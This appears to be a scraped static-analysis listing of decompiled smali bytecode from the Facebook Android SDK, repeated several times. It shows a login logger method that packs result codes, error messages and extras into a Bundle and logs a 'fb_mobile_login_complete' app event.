                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
                                            69invoke-interface {p4}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                                            70move-result-object p5
                                            71check-cast p5, Ljava/lang/String;
                                            73invoke-interface {p4}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                                            74move-result-object p4
                                            76invoke-virtual {p3, p5, p4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                            77try_end_57: goto/16 :goto_3e
                                            78cond_58: if-eqz p3, :cond_63
                                            80invoke-virtual {p3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                            81move-result-object p2
                                            83const-string p3, "6_extras"
                                            85invoke-virtual {p1, p3, p2}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            86cond_63:
                                            87iget-object p2, p0, Lcom/facebook/login/c;->a:Lcom/facebook/appevents/g;
                                            89const-string p3, "fb_mobile_login_complete"
                                            91invoke-virtual {p2, p3, p1}, Lcom/facebook/appevents/g;->b(Ljava/lang/String;Landroid/os/Bundle;)V
                                            92return-void
                                            APIs
                                            • android.os.Bundle.putString
                                            • java.lang.Exception.getMessage
                                            • java.lang.Exception.getMessage
                                            • android.os.Bundle.putString
                                            • java.util.Map.isEmpty
                                            • org.json.JSONObject.<init>
                                            • org.json.JSONObject.<init>
                                            • java.util.Map.entrySet
                                            • java.util.Set.iterator
                                            • java.util.Iterator.hasNext
                                            • java.util.Iterator.next
                                            • java.util.Map$Entry.getKey
                                            • java.util.Map$Entry.getValue
                                            • org.json.JSONObject.put
                                            • org.json.JSONObject.toString
                                            • android.os.Bundle.putString
                                            Strings
                                            • 2_result
                                            • 5_error_message
                                            • 6_extras
                                            • fb_mobile_login_complete
                                            Position Instruction Meta Information
                                            0.annotation system Ldalvik/annotation/Signature;
                                            1value = {
                                            2"(",
                                            3"Ljava/lang/String;",
                                            4"Ljava/util/Map<",
                                            5"Ljava/lang/String;",
                                            6"Ljava/lang/String;",
                                            7">;",
                                            8"Lcom/facebook/login/LoginClient$Result$Code;",
                                            9"Ljava/util/Map<",
                                            10"Ljava/lang/String;",
                                            11"Ljava/lang/String;",
                                            12">;",
                                            13"Ljava/lang/Exception;",
                                            14")V"
                                            15}
                                            16.end annotation
                                            18invoke-static {p1}, Lcom/facebook/login/c;->a(Ljava/lang/String;)Landroid/os/Bundle;
                                            19move-result-object p1
                                            20if-eqz p3, :cond_f
                                            22invoke-virtual {p3}, Lcom/facebook/login/LoginClient$Result$Code;->a()Ljava/lang/String;
                                            23move-result-object p3
                                            25const-string v0, "2_result"
                                            27invoke-virtual {p1, v0, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            28cond_f: if-eqz p5, :cond_20
                                            30invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            31move-result-object p3
                                            32if-eqz p3, :cond_20
                                            34invoke-virtual {p5}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                                            35move-result-object p3
                                            37const-string p5, "5_error_message"
                                            39invoke-virtual {p1, p5, p3}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V
                                            40cond_20: const/4 p3, 0x0
                                            42invoke-interface {p2}, Ljava/util/Map;->isEmpty()Z
                                            43move-result p5
                                            44if-nez p5, :cond_2c
                                            45new-instance p3, Lorg/json/JSONObject;
                                            47invoke-direct {p3, p2}, Lorg/json/JSONObject;-><init>(Ljava/util/Map;)V
                                            48cond_2c: if-eqz p4, :cond_58
                                            49if-nez p3, :cond_36
                                            50new-instance p2, Lorg/json/JSONObject;
                                            52invoke-direct {p2}, Lorg/json/JSONObject;-><init>()V
                                            53move-object p3, p2
                                            54cond_36:
                                            55invoke-interface {p4}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                                            56move-result-object p2
                                            58invoke-interface {p2}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                                            59move-result-object p2
                                            60goto_3e:
                                            61invoke-interface {p2}, Ljava/util/Iterator;->hasNext()Z
                                            62move-result p4
                                            63if-eqz p4, :cond_58
                                            65invoke-interface {p2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                            66move-result-object p4
                                            67check-cast p4, Ljava/util/Map$Entry;
